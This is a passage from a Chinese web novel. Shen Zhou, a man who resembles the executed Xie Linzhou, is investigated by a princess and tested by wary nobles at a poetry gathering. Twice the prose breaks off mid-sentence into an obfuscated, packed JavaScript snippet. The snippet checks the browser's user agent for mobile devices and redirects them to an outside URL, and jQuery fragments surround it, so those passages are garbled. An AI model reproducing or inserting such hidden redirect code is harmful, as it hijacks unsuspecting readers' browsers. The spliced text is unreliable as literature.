可没想到榆娘这么倒霉,好不容易离开扬州,却还是撞上了沈骤,往后要是沈泊易真进了兵部,他们一家自是定居长安,榆娘岂不是又要伤心了! 唉! “娘?”沈琅顺着钟氏的视线看了又看,道:“你这看什么呢?又皱眉又叹气的。” 钟氏横他一眼,“你们兄弟俩,没一个有福气。” 沈琅莫名其妙遭数落,原地疑了片刻,回过神嫌恶地看了眼自己衣袖上的血迹,唤来小厮道:“快给我备水更衣,恶心死了!” - 沈骤这一病,长安城内风云暗涌。 李繁宁站在窗边仔细看过密信,略一挑眉,“外室子?” 青雘道:“是,这所谓的沈家长子原不是什么庶子,只是沈泊易养在外头的外室子,两年前他生母病逝,又被沈二公子撞破,这才顺势接回了沈家。” “两年前……”李繁宁轻轻合上信函,“你觉得呢?” 青雘知道公主这是在问什么,便说:“奴婢也觉得巧,不敢不仔细打听。这沈大公子据说打小被养在城郊,在回沈家前,扬州城没人见过他,但没见过归没见过,却都听过这号人物。那沈泊易是行伍出身,娶的钟氏性子颇有些泼辣跋扈,打从十几年前就又是哭闹又是上吊,说是沈泊易外头有人,还生了个野种,这事在当时闹得满城风雨,随便一打听都知道,要说前头那些都是假消息,可……这十几年前的消息,总不会是伪造的,况且细查沈泊易的行踪,那些年他的的确确在外养着一个孩子。” 说实在话,纵然沈骤生了那样一张脸,但从青雘与他的短暂接触来看,她实在不能相信他和谢临舟是一个人。又经这次查证,青雘更加肯定,大千世界无奇不有,这两人不过是容貌相似罢了,毕竟谢家案只过去了三年,难道会有人在十几年前就布下此局,仅为了今日瞒天过海? 这听起来都荒唐。 李繁宁却不以为意,放下信函道:“真假参半,假的也可以是真的。” 见她不信,青雘又说:“奴婢此前也有过怀疑,这或许是狸猫换太子的把戏也未可知,可继续往下查证,便知沈泊易没有亏待那对母子,城郊伺候的下人满打满算六七人,别说我们的人,就连金吾卫都一一盘查过,然那些人口径一致,无不指认画像上的人就是他们打小照看的沈骤,还有城郊的几户邻里,也都说认识那对母子。一个人活了二十多年不可能毫无踪迹,可种种证据表明,此人的确无异,公主知道的,金吾卫出马,消息不可能有误。” 这次扬州城里也是暗流涌动,长安各家都派了人去查探,就连宫里都出动了金吾卫。金吾卫有着长安最好的密探,如果还有什么是他们都查不到的,那或许真的就不存在了。 青雘紧紧凝着李繁宁的脸色,忧心她闻此消息大失所望,悲怒交加…… 然而李繁宁却只是拿起剪子修了修窗台上的春兰,神态之平静,让青雘一时摸不清她此刻的情绪。 半响,才听她慢声道:“太医院回话了吗?” 话头忽然转开了,青雘反应了一下,方回话道:“是,太医去驿站诊过脉,说沈公子是打娘胎里带的弱症,加之后天没养护得当的缘故,身体底子比常人略薄,此次进宫摔了马又受了惊吓,这才骤然昏厥,养几日便可,并无大碍。” “既然没有大碍,为何迟迟不见好?”李繁宁搁下剪子,抚了抚顶端那朵正盛开的兰花,平静道:“你告诉他们,那些‘弱症’治不好,我就让执鸾司抄了太医院,看他们有几条命能混过去。” 青雘怔了怔,“是……那扬州那边……” “不用查了。”李繁宁稍稍偏过脸,晨光铺在她脸上,露出一半姣好的容颜,“参汤熬好没有,叫人午后送去驿站。” 她似乎并未受扬州那些消息的影响,甚至心情很好,应该说自打千秋宴后公主的情绪就平稳很多,即便是夜里惊醒,也不再折腾府中那些幕僚了。 这看起来是件好事,但,这究竟是自欺欺人,还是公主的癔症愈发严重了…… 青雘动了动唇,望着李繁宁想说点什么,最后却只神色复杂地应了一声是。 8.第七章 经榆娘一连半个月的调理,沈骤的身体早已大好。 但他仍旧称病不出,屋舍窗牖紧闭,苦味缠绕。沈骤把手腕递给榆娘,说:“不是什么大事,最近盯着驿站的人多,你别日日往这里来。” 榆娘端坐在桌前,她把脉时不语,直到收了手才说:“我曾是沈家的府医,沈家人请我来看诊是再正常不过的事,我若推拒反而怪异。” 她说罢执笔写了药方,那一手行云流水的小楷,可见功底。 沈骤便不再多言。 他起身踱到窗边,悄然推开一扇窗,才刚露出一条缝隙,就察觉到数道窥探的视线投射而来,云罗天网,把后院牢牢看在眼里。 显然,驿站里多了很多不该有的人。 “我早就提醒过你,当年那药虽救了你的命,但也的确伤了根本,两年不足以调理好你的身体,若你无法控制自己,无论是急火攻心还是情难自抑,都可能要你的命。”榆娘搁下笔,认真道:“我并不与你玩笑,我以为你准备好了才同意你回长安。” 沈骤扫视着庭院,道:“我有分寸。” “公主……”榆娘提起这两个字时有意一顿,“是真的认出你了吗?” “不知道。”沈骤谨慎的目光有刹那的迟滞,语气却十分平静:“把扬州的消息放出去,她自然会查到。” “查到就会信么?”榆娘抬目扫了眼这屋子里的陈设。 驿站后院的屋舍原本简陋,但自打沈骤病后,除了榆娘日日看诊熬药,太医院那边也奉了盛安公主的命令,往这里送了不少名贵药材。 甚至两日前还来了个太医,非要给沈骤看完脉才肯回。 显然,无论公主查到了什么,都丝毫不减少她对沈骤的兴趣。 也是托了她的福,驿丞把沈骤当成了盛安公主未来的驸马对待,屋里因此添了不少贵重物件,就连被褥都换成金丝绒的了。 不得不说,以李繁宁今时今日的地位,她能给沈骤一切他想要的助力。 她也是整个长安城,唯一不会害他的人。 榆娘顿了顿,说:“你有没有想过,或许可以——” “没想过。”沈骤把窗阖上,他对着榆娘,却像是提醒自己,“榆娘,谢临舟已经死了。” 榆娘缄默。 她微微蹙眉,轻叹了声气。 “喂,沈——”倏地,沈琅推门入内,似是觉得屋里气氛不对,他顿了顿,迟疑道:“你们干什么呢?这么严肃。” 榆娘莞尔一笑,起身收拾药箱,道:“没什么,大公子嫌药太苦不肯用,说是叫我明日不用来了。” “那不行。”沈琅拧眉道:“沈骤你几岁了?吃药还得人哄着,我告诉你啊,你赶紧把身子养利索了,别想我天天在这儿照顾你。” 沈骤抱手往窗边一靠,拉长语调“哦”了声,“我又没让你照顾我,一天天往我屋里跑,吵得我睡不着。” “我——”沈琅哼声道:“你以为我想啊,都怪你,驿站外面挤着一群人,都说是来探病的,我一出门他们就拉着我问东问西,瘆人得很。喏,今日又多了这么一沓帖子。” 沈琅说罢把那帖子往桌上一丢,又将前几日的帖子都摞在一块儿,说:“我保证,全长安的达官显贵,有一个算一个,全在这儿了。” 几日前沈琅还在为帖子上那一家更比一家高的头衔震惊不已,今日他就已经淡定多了。 不过,他从小山似的帖子里翻出其中一张,那帖子与其他帖子都不同,并不是高门显贵常用的洒金红笺,而是仿科举宴帖的蓝底洒银笺,但封套上印的又不是魁星点斗纹,而是一轮若隐若现的圆月,素净不失高雅,展开时自然而然飘出一缕墨香。 沈琅神秘兮兮地说:“你猜这是谁家的?” 沈骤瞥一眼那落款上“圆月诗社”四个字,“我哪知道。” 沈琅当即道:“姜家!就是当朝皇后的那个姜家!这圆月诗社乃姜五娘创办,姜五娘你可知道?她可是这长安城出了名的扫眉才子,容貌更是数一数二的好,说是九天神女下凡呢。” 沈骤觑他,道:“你见过九天神女?” “让你多读书吧,这九天神女只是个形容,可见是个难得的美人,你就不好奇?”沈琅话里带着引诱。 沈骤却是一脸兴致缺缺,“舞文弄墨最无趣了,再美的美人若失了情调,也不过是一副没有灵魂的躯壳罢了。” 呵呵,扬州舞坊那几个跳舞唱曲儿的最有情调了,果然是烂泥扶不上墙,有眼无珠…… 沈琅在心中翻白眼,面上却还笑盈盈,“谁说诗会只有舞文弄墨,那还有抚琴作画的呢,你不去看看,怎知没有情调?” 沈琅以为沈骤是叫上回宫里的事吓着了,又勾住他的肩安抚道:“我都打听过了,姜家人素来与盛安公主不睦,想来这席上也是见不到她了,裴都尉又当着御前的差,更是无瑕赴宴,安全得很。而且这几日爹没接到任命,等你病一好,咱们可就要打道回扬州了,下回再来长安也不知是何年何月,你缩在这驿站里,错过了那些美食美景美人,岂不辜负?” 沈骤哼笑,“是你想去吧。” “我……”沈琅嘴硬道:“我怕你后悔而已。” “不去。”沈骤拂开他的手,往矮榻上一摊,架着腿说:“榆娘叫我好生休养,我这几日哪里都不去。” “你别啊。”沈琅跟过去,苦口婆心道:“这姜家的诗会可遇不可求,且不说美人,届时那么多勋贵子弟,你我要是能结交一二,说不准能帮到家里呢?再说,休养又不一定要卧床,榆娘,你说是不是?” 榆娘收拾完药箱,闻言道:“出门散散心,倒也是好的。不过……” “嗯?”沈琅追问:“不过什么?” 榆娘道:“长安官宦世家之间牵扯甚深,往来频繁,这圆月诗社每月一办,说是诗会,实则是勋贵人家维系关系的一种手段,因此所邀宾客非富即贵,二公子既要结交,可把人认全了?” “上回在宫里认了几个,不过后来场面一团乱,也没来得及多说……”沈琅思忖一瞬,忽然想到什么,撇开沈骤,来到榆娘面前道:“榆娘,你都到长安半年了,想必对长安这些贵人很了解,快与我说说。” 他说罢将榆娘摁回了凳子上。 榆娘笑笑,想了想,倒真与他说起来,“长安城大小世家遍布,但其中除了姜家,另有三家最为拔尖,想必二公子也听说过。” “自然,传言中的长安四贵么,除了冀州姜氏,另有蓬山萧氏,陇州何氏和南阳周氏。”沈琅此前远在扬州,虽对长安了解不多,但这大名鼎鼎的四大家他还是知道的。 “不错。”榆娘给自己倒了一杯茶,道:“这四家在长安权高位重,其中以姜氏为首。如今的姜家家主姜有年是当今皇后的父亲,他早年受封镇国大将军,后又入枢密院任职,一手把着军事要政,这也是姜家能屹立世家头首而不倒的原因,你方才说的姜五娘便是他嫡亲的孙女。其他人倒还不打紧,就是这姜五娘有个兄长叫姜定轩,想来会在诗会上露面,此人是左右卫中郎将,执掌一方禁军,声势在外,不是那么好相处,你若遇上,不必与他过多攀附。” 说到禁军,沈琅不免想起另一位,“他和裴序,谁的品级高一些?” “二人品级相当,不过左右卫这种外朝禁军比不得裴序的羽林卫在御前得脸,但毕竟背靠姜家,姜定轩为人要……”榆娘斟酌了下用词,“要更厉害一些。” 比裴序还厉害? 沈琅倏地想到那日沈骤被揍的场面……嘶,那是挺厉害的。 榆娘这时又说:“但除了姜家,这四大家中的萧家也不容小觑。” 沈琅思量道:“我之前在宫里见过一位贵妃娘娘,旁人唤她萧贵妃,看起来颇具风韵。” “宫里只有一位贵妃,她正出自萧氏。”榆娘道:“虽是贵妃,但荣宠不亚于皇后,只可惜没有子嗣,终是逊了一等。不过萧家地处蓬山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈琅咬牙道:“你想要的那枚金银镂空香囊,也一并给你!” 沈骤还是没动。 沈琅捏紧拳头,声音从牙缝里挤出来,“外加我两个月的月例……半年,半年行了吧?!” 沈骤两腿一转陡然坐起,就在沈琅还没反应过来时,用话本子换走了他手里的邀帖。 眼看他要走,沈琅叫住他,“喂,你去哪?” “拿你的金玉腰带啊,明日诗会,我得挑一身合适的衣裳。”沈骤踏出门,声音从廊下悠悠传来。 “……”沈琅深呼吸,又吐气,反复两次才紧跟上去。 翌日午后,姜家在曲江池举办诗会。 曲江池原是皇家宴饮、进士赐宴之处,姜家能擅用此处举办诗会,果然是非同一般。 沈琅一踏进园中便感慨,“不愧是世家之首,我们在扬州城也算是有头有脸了,平日办个宴会,最多也就包个小园子,就这娘还嫌费银子呢……唉,这显贵与显贵之间,也是大不相同。” “官和官之间也大不相同,谁让咱爹为官清廉呢。”沈骤拢了拢袖袍说。 沈骤今日打扮得光彩夺目,苍青色的圆领襕袍与那条金玉腰带可谓相得映彰,尤其那腰间悬挂的金银镂空香囊,随他步履摇晃贵气逼人,与“清廉”二字实在相悖。 最重要的是,他这浑身上下全是沈琅攒下的家当! 沈琅觉得心头痛,忍了忍,算了……忽闻一阵丝竹流水声,只见前方木桥相连,临水而建数座亭台,远远就看到了三三两两结伴的人影。 到底是年轻的小郎君,在驿站困了好几日,沈琅已经迫不及待了,脚程都快了几步,然回头一看沈骤落了好远,正仰颈不知道在看什么。 “你愣着做什么,走啊。” 沈骤的视线从远处那座巍峨楼阁上收回,慢悠悠跟上去,“来了。” 9.第八章 紫云楼恢宏高耸,每层出檐都以金饰装点,颇显奢华威严。此处乃曲江池的最高处,可将园林全貌尽收眼底。 周礼安半个身子都探出窗外,保持着这个姿势许久,圆润的身躯显得万分费劲,爬起来时还在喘气。他坐回座上,猛地灌下一口茶。 在座上另三人都瞧着他,对面着何云升先沉不住气,摁住他将要伸手去够的茶壶,急声道:“你到底看清楚没有,究竟是不是?” “啊?”周礼安懵了懵,反应过来说:“这么高这么远,能看清什么?” 何云升额角跳了跳,“那你费半天劲儿,看得跟真的似的?!” 另两人虽不说话,但脸色也跟着掉下来。 “我只是看看人到了没有。”周礼安悻悻道:“再说,千秋宴那日我又不是没见过,看得真真的,就是一模一样,我额头磕的口子还在呢,爱信不信!” 因皇后有意替四公主择婿,千秋宴那日在座的都花样百出地寻了借口躲开,就连作为四公主表兄的姜定轩都没露面,唯有周礼安去了。 虽说周家在长安世家中也是名列前茅,极有可能被皇后挑中,但周礼安在族中只是个无名小卒,领着礼部的闲差不说,还贪玩好酒,以他在长安的名声,四公主那等眼睛长在头顶上的傲慢性子,断然看不上他。 所以,周礼安毫无负担地去赴宴了。 本以为只是一次寻常的蹭吃蹭喝,谁能想到会碰到诈尸还魂的戏码,吓得他人还没坐稳就晕了过去。 脑袋正好磕在酒杯上,那白瓷杯又小又薄,一下就被磕裂开,碎片扎了周礼安一脑门,半个月过去还没好。 就冲着这额头上的伤,他也绝不可能看错。 周礼安哼声道:“就算我看错了,难道六公主也看错了?她日日给驿站送药,全长安都知道了。” 何云升道:“只要长得有三分像,她都恨不得将其收入府中,这能说明什么,顶多这人更像一些罢了。” “那裴序也瞎了眼?他素来冷淡,何时见他当众失态?”周礼安道:“我听说这事之后,他在御前还遭了训斥。” 何云升张了张嘴,还想辩驳,却也真无话可说。静了片刻,他道:“……当日谢家案是我父亲着办,他亲自验过那人的尸身,不会有假。” 周礼安思忖道:“万一真是诈尸还魂呢?” “不可能……”何云升紧紧摁着茶壶,嘴上说着不可能,脸色却白了。 气氛一时沉郁。 何云升的父亲乃大理寺卿,当年那案子的经过他再清楚不过,借着家里的便利,趁人之危落井下石的事他也没少干。要是那人真是被刑罚处死也就罢了,偏偏他是意外死在刑讯中,此事至今众说纷纭…… 不管现在出现的那位是人是鬼,都够何云升惶惶数日了。 眼看他露怯,旁边的姜定轩重重撂下杯盏,厉声道:“慌什么!当初经手此案的官吏皆是秉公办案,办案讲究的是证据,即便真有内情,冤有头债有主,找也找不到你身上。” 周礼安小小声道:“那找谁,难不成是……三皇子?” 毕竟当初是三皇子供出了谢临舟,那一纸画押的供状,是定死谢临舟的直接证据。 不过自那以后三皇子就被关押在王宅,至今未能见天日。 “谁说只有三皇子?”姜定轩扯出一抹狠笑,怪声怪气道:“有些人惯爱装出一副事不关己的模样,当年上书陈奏,要定罪赐死他的不在少数,若我没有记错,那带头搜查谢府的,另有其人吧。” 话音甫落,何云升和周礼安的视线齐齐转向另一人。 那人剑眉星目,生得威俊,着一身浅红绣袍,袍面上绣的是白鹇,腰间佩着银鱼袋,那一身官服打扮,显然是刚从宫里交了差赶来的。 他便是萧平晔,在萧家年轻一辈中颇受器重,如今在兵部当着库部司郎中的差事,人也沉稳,瞧着一副气定神闲的模样,自坐下后不曾开口,这会儿正不慌不忙给自己斟茶,闻言手上的动作顿了顿,却还是继续斟茶道:“当年谢家案牵扯梓州兵败案,家父身居兵部,自然要给朝廷一个交代,协理大理寺办案有何不妥?” “自然无甚不妥。”姜定轩讽笑:“只是大理寺先前几次都没查出的罪证,萧尚书一来就查到了,委实厉害。” “那些证物经由三司会审递呈御案,倘若案子真有问题,难道圣上看不出来,你是觉得,你比圣上更火眼金睛?”萧平晔搁下茶壶,“此案早已了结,有罪者也早已伏诛,心虚理亏才自乱阵脚。” 姜定轩轻嗤,“说得轻巧,你这样冷静,今日来这里做什么?这诗会月月开,也没见你来得勤。” “兵部侍郎人选尚未定夺,圣上对那个沈泊易青睐有加,说不准将来,我也要在沈大人手下做事,提前会会他的儿子有何不可?” 没等姜定轩再次轻嗤,他紧跟着道:“再说——” “当年挑断他手筋的,又不是我,我慌什么?” “你——” 姜定轩脸色变了,狠狠瞪向萧平晔。 周礼安一双眼睛瞟来瞟去,噤若寒蝉。 据说三年前验尸官查验谢临舟的尸身时,他右手的筋脉已经几乎全断,有传言说是太子差人干的,而办事的人就是姜定轩。 竟是真的。 难怪。 当年公主和亲生变返回长安不久,圣上下旨清算冀州御敌不力之事。说来也巧,冀州乃姜氏地界,外蕃偏生在这里起了兵,而姜氏乃世家之首,一时间无人敢冒头,公主毛遂自荐,在圣上的支持下把姜家查了个底朝天。 大名鼎鼎的执鸾司也就是在那个时候建成。 姜家那几年的经营因此毁了大半,还折了不少人在里头。姜定轩当时刚进左右卫,心中愤懑不平,某天在宫外与公主发生争执,竟被执鸾司以阻挠办案的明目给押进了大牢。此事闹得沸沸扬扬,姜老太爷就这一个嫡孙,到御前跪了又跪,圣上发了话,公主才把姜定轩送还姜府。 据说姜定轩被送回去时只剩下半口气,若非宫里的人来得及时,只怕要死在刑狱里。 大抵是心里落下了阴影,别看他嘴上不说,实则平日见了公主,气焰都要矮三分。 啧啧,现在看来,一切都是事出有因,眼下那人又死而复生,姜定轩心里指不定多不安。 怪不得他今日如此急躁。 周礼安心道还好,当年他也不喜欢谢临舟,只因这人风头太盛,看得扎眼,但他倒是没本事对谢临舟做什么,只是同窗几年,言语上常常刺上两句罢了。 就算是厉鬼现身,也不该缠上自己。 这样想来,周礼安反而是这些人里最宽心的一个。 喝水喝饱了,周礼安轻轻打了个嗝,正这时帘子被挑开,随从道:“主子,沈家二位公子到了。” 姜定轩斥旁人慌乱,自己却一刻也等不了,他撑桌起身,即刻就下了楼。萧平晔也换了常服随之而去,到了曲江亭,里头已是人满为患,乍看之下竟比千秋宴还热闹。 姜家的帖子并未邀这么多人,但冲着沈骤近日的风头,不请自来看热闹的实在太多。 眼下竟以沈骤为中心,熙熙攘攘围了一个圈。 沈琅压根挤不进去,只见沈骤笑容满面,一口一个:“抬举抬举、过奖过奖——” 倒是应付得游刃有余。 如此情景,仿佛昨日重现。 从前谢临舟也是这样,所到之处无不万众瞩目,他就犹如那天边高高悬起的明月,任周遭群星璀璨,所有人的目光却都好像只能看到他一个。 太像了……姜定轩指节攥得发白,当即就要上前,却被萧平晔抬手拦下了。萧平晔微微摇了下头,姜定轩难得不与他抬杠,生生将一口气咽了下去。 众人见姜萧二人都来了,这才陆续散开,迎上来见礼。 沈琅也趁机挤上前攀谈。 久居扬州的小公子毫无城府,心思都写在脸上,他自报家门,话里话外都有夤缘之意。没想萧平晔竟是个和善的人,言语间虽不亲近,但态度却比旁边那个姜定轩好上不是一星半点。且看姜定轩,明明是诗会的主人家,却满脸不耐,毫无待客之道。 沈琅识趣地不往姜定轩跟前钻,只一味与萧平晔说话,这时听萧平晔道:“听说令兄前几日大病了一场,不知眼下可好?” 他话里是冲沈琅问的,看向的却是几步外与人交谈的沈骤。 那边沈骤忙远远拱手,“有劳萧公子关心,沈某身子已无大碍。” 沈琅惊奇道:“萧兄也认识我兄长?” 萧平晔便笑说:“如今这长安城的风云人物,非你兄长莫属,这里有谁不认识他?” 沈骤摆手,“不敢不敢,传言不可信,让诸位见笑了。” 旁边那着装富丽的男子道:“沈大公子实在谦逊了,我们可都等着喝公主府的喜酒呢,还望来日沈大公子做了驸马爷,也不要忘了与我们走动才是。” 这些人话里不掩趋承,显然都听闻了近日的风声,拿沈骤当驸马爷恭维了。沈骤笑得尴尬,连连解释,却只引来一阵又一阵的调侃和哄笑。 萧平晔不动声色地打量他,但单这样看着,觉察不出任何端倪。须臾,只闻谈笑声稍敛,有人扬声道:“姜五娘来了,可许久不见姜家娘子出席诗会了。” 众人注意力果然被分散,就见不远处廊桥下缓缓走来一道身影。那身姿袅袅,步履间自有一股优雅脱俗的气质,走近了,还能闻到她身上淡淡的墨香味。 寻常女子身上都是脂粉味,这一缕墨香就将这位扫眉才子的与众不同显现出来了。 只见她欠了欠身,温声道:“这几个月身子不爽,虽说缺席了诗会,但诸位的诗词,宛央可是有日日观瞻的。” 然一抬头,看到方才人群中簇拥的那个人,姜宛央微微愕然。 “还说呢,你不在,这诗会好没意思!”凉亭下走来一个执碧绿团扇的娘子,这人瞧着便是诗社的常客,上来就挽住姜宛央的手,“这长安就属你最会拟题,瞧前几次诗会的题目,实在无趣。” 上回拟题的男子故意作出受伤状,唉声叹气道:“程娘子这是嫌我等出题庸俗,好好好,今日这题还是让姜娘子来拟。” 话音甫落,众人大笑。 姜宛央回过神,勉强从那人身上移开目光,浅浅一笑,“阿绣说无趣,可我看上回斗诗,独你最别出心裁,如此无趣都叫你做出了趣味,我看今日诗会,不如叫你拟题最好。” “好啊,你来都来了,还要躲懒!”姓程的小娘子假意用扇子敲她,众人又笑作了一团。 可姜宛央笑得心不在焉,她频频朝那边的沈骤看去,不料沈骤竟也在看她,看得大大方方毫不遮掩,只是那打量的眼神让人无端不喜,姜宛央不由蹙了蹙眉。 姜定轩早就等烦了,催促道:“人都到了,就入席吧。” 便有侍婢捧着梨木托盘鱼贯而入,不一会儿的工夫,每张条案就都备好了笔墨纸砚,另添了茶酒点心,宾客陆续落座。 周礼安知晓今日诗会非同一般,特意寻了个居中又不打眼的位置好看热闹,谁料一转头沈骤就坐在他邻座。乍然对上视线,周礼安吓了一跳,对方却扬唇朝他点头示好,周礼安也下意识扯出一抹笑,看起来却僵硬极了。 沈骤似乎毫不在意,他注意力全在对面女宾席上的姜宛央身上。就见他一会儿瞟一眼姜宛央,一会儿与沈琅交头接耳,“哪有传得那么玄乎,模样的确清秀,但我看不比凌波坊的柔疏娘子好看,同样是书香盈袖,但要说姿容,柔疏娘子更胜一筹。” 凌波坊是扬州一家远近闻名的舞坊,柔疏更是扬州风头最盛的舞姬。沈琅惊讶道:“这怎么能一样?区区戏子怎好说书香盈袖,你简直庸俗!不对,低俗!” 两人说话间有侍婢在旁侍茶,“噹”地一声,侍婢手上一个不稳,茶壶倾斜,茶水洒在了沈骤的衣袖上。 小丫头垂首求饶,沈骤倒是无妨,顺势拉起半截衣袖,擦去了手背上的水渍。 那露出的手腕干干净净,没有一点受过伤的痕迹,侍婢微怔,退下时朝上面的人摇了摇头。 沈骤佯装不知,仿佛只是一段无关紧要的小插曲,他抚了抚自己宽大累赘的衣袖继续道:“怎么就低俗了,柔疏的词曲在长安也是远近闻名的,多的是贵人一掷千金求她作词谱曲。” “你以为那些人买的是她的词?那是醉翁之意不在酒,否则怎么不见他们去捧书院里那些臭夫子?” “夫子有夫子的章法,舞姬有舞姬的风情,文墨上的事还要看人下菜,未免也太肤浅了。” 沈琅嗤他,“说得你很懂文墨似的,不就是舍不得你的柔疏么,在扬州时你就日日往舞坊跑,也不知道砸了多少冤枉钱,打肿脸充胖子,真拿自己当富家公子呢?” 沈骤又要说话,就听旁边的人犹疑道:“你们说的……可是扬州凌波坊的柔疏娘子?” 兄弟俩停了争辩,沈骤侧首道:“怎么,兄台也知道柔疏?” “那当然!”周礼安一下转过身来,看着有点激动,只是对着沈骤这张脸到底别扭,他顿了顿,还是继续道:“听说凌波坊的娘子脚上皆有功法,舞姿妙不可言,那柔疏娘子更是一舞千金,叫人如痴如醉,只可惜我不曾去过扬州,没见识过,原想重金请柔疏娘子赏玩长安,可柔疏娘子性情孤高,不是爱财之人,非有缘不肯相见。” 沈骤便笑:“这又何难的,我是凌波坊的常客了,与柔疏娘子也有几分交情,兄台若真诚心,我大可替你二人牵个线。” “当真?”要是能请来柔疏,席面必定风光,周礼安又惊又喜,“这、这多不好意思……” 沈骤忙说:“小事一桩,何足挂心。周兄大名赫赫,小弟初到长安便有所耳闻,早想拜会,可惜一病数日,耽搁了,今日这不是巧了,我有心与周兄结交,还望周兄就莫要推辞了。” 周礼安一顿,“你认得我?” 沈骤歪过身替他添茶,“都说周兄爱酒,品酒上更是道行不浅,更有传言说周兄是酒仙转世,沈某在长安这些时日时常出入酒肆,自是听过周兄大名。” 原来是这样,周礼安心花怒放,顿时拿起了腔调挥手道:“什么酒仙,都是瞎传的,改日若是得空,我请你去‘蓬莱仙岛’喝酒!” “好啊,早就听说全长安最好的酒都在‘蓬莱仙岛’,只可惜那是个一掷千金的宝地,我囊中羞涩……”沈骤腼腆一笑,举起茶盏道:“既然如此,就先谢过周兄了!” “好说好说!” 周礼安忙与他碰杯,彼此又聊了两句,方知沈骤在酒上竟也小有见解,一时投机,不免愈发倾身过去。两人凑着头不知说了什么,眉飞色舞的,竟有点相见恨晚的意思,把沈琅都给看呆了。 对面女宾席上,姜宛央眉心始终未松开,思忖过后写下题目,交给程娘子。 程娘子看了看,笑道:“‘昨夜圆非今夜圆,却疑圆处减婵娟’①,青天白日,阿央竟出了首咏月诗。” 姜宛央温声道:“风花雪月乃是寻常题,未免简单无趣,便限五言律诗,押庚韵,再结合‘孤舟’之意象,取不露题字而传神者为佳。今日胜者,我赠墨宝一副,聊表心意。” 程娘子笑道:“那就限一炷香时间,大家快——” “慢。”萧平晔陡然出声,“今日热闹,在下也加个彩头。” 萧平晔平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366058|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日极少出现在诗会,他这一开口,免不得引人注目。 只见侍从捧上一杆长枪,那枪刃锋利,枪杆更奇特,是用竹片裹木芯,并以丝漆缠绕,刚中带柔,一看就是上好的料子。萧平晔道:“萧某不才,平日在库部只与刀枪剑戟打交道,这杆长枪乃萧某不日前所得,见其工艺不凡,不是俗物,不知今日谁与它有缘,还望笑纳。” 众人自是欢喜,小娘子们虽对这等打杀之物不感兴趣,但也谢他添礼。 而萧平晔只看沈骤。 当年谢家满门被屠,此事震惊朝野无人不知,但案发现场的细节却被封得死死的,鲜少有人知道。 可谢临舟一定能认出这杆长枪,当日太傅的亲儿子谢川,就是被这杆枪钉死在谢府的大门上。 死状之惨烈,萧平晔只是看过卷宗便久不能忘,何况是亲身经历的谢临舟。 可无论萧平晔怎么看,都没从沈骤脸上看到一丝异样。 他甚至还在与周礼安说笑,连眼尾的弧度都不曾变一下。 萧平晔搭在膝头的手不自觉捻了捻,眼神示意侍从退下。 众人已然安静冥想,风吹纸页飒飒响。 那边沈骤也提了笔,却是一副好生为难的样子,周礼安劝他不必较真,这诗会又不是真来筛选文豪的,便想拉他去湖边饮酒,可沈骤到底是个外来客,不敢太过无礼,周礼安劝说无果,只好自己走了。 须臾,旁边的沈琅丢了一张纸过来。 上面是一首已经写好的诗,韵律虽对,但平平无奇,不算好诗。沈琅朝他挤眉弄眼,“快抄下来,别丢了沈家的脸。” 沈骤笑了,“哦。” 一炷香刚过,便有侍女上前依次收走诗笺。 如从前一般,姜宛央与几位诗友主持评诗,其余人各自散开,或凭栏垂钓,或抚琴助兴,沈骤也拉着沈琅离开了,很快曲江亭就只剩稀稀拉拉的几个人。 众人围着姜宛央的条案看诗,只见姜宛央从众多诗笺中挑出一份。 姜家高门显贵,诗会所提供的纸墨笔砚皆是上品,尤其是那纸,洒了金箔和银箔,色彩绚丽如云,乃是十分名贵的金银花纸。 都说人靠衣装马靠鞍,有这种纸作衬托,就算是书法平平之人,也能掩住三分丑。 但即便如此,沈骤的字依然算不上好看。 甚至从字迹上看,能写到工整都已经是他费了心思的,且看那一笔一划,每一笔都郑重其事,却平白给人一种白费工夫的喜感,刚一拿出来,就惹得几个小娘子掩唇笑。 只是笑过之后,又露出疑色。 的确是五言诗,但庚韵全不对,前两句倒还勉强扣了“月”字,却也未结合“孤舟”之景,尤其最后两句,云里雾里,所说非题。 程娘子磕磕绊绊读道:“纤腰束黄纱,步影随风动,仙家倾城韵,宛娘、胜柔疏……” “这作的是什么诗?宛娘是谁?” “还能是谁,纤腰束黄纱,今日独姜娘子是一袭黄衣,看来又是一个被阿央迷倒之人呢。” 众人说笑间打量了姜宛央,姜宛央不露羞色,显然是已经见惯了这种事。 只听又有人问:“不过这柔疏是何物?” 闺阁女娘自然是不知秦楼楚馆那些事,你看我我看你,就连姜宛央也摇了摇头,当中倒是有个公子讪讪举起手,道:“柔疏……好像是扬州一位舞姬之名,据说此女舞姿精妙,有倾城绝色……” “岂有此理!竟拿那种人作诗,还将她与阿央比,简直……” 娘子们纷纷掩鼻退开,像是挨到了什么脏东西。 姜宛央脸色也不好看,她抿唇静了片刻,撂下那诗笺便起了身,头也不回地走了。 身后众人喊了几声,见她气恼,也不敢追上前。 萧平晔见状远远走来,询问何事之后,将那诗查看一番,眉头亦是一蹙。 他阔步上前,叫住了姜宛央,“五娘。” 姜宛央顿步,回头道:“我知道你们想问什么,我只一个回答,绝不是他。一个人再怎么掩饰,言行可以伪装,但骨子里的东西是装不出来的,你可还记得,谢临舟的表字是如何来的?” 萧平晔当然记得。 寻常人及冠之年才取表字,但谢临舟十八岁便有了自己的字。那年正逢他夺榜,圣上在曲江池赐下进士宴,同样在这个地方,以“月”命题斗诗,他那一首咏月诗颂了十里八方,盛世长安,圣上高兴,赐‘仪景’二字为他的表字。 仪景,乃皎皎明月之意。 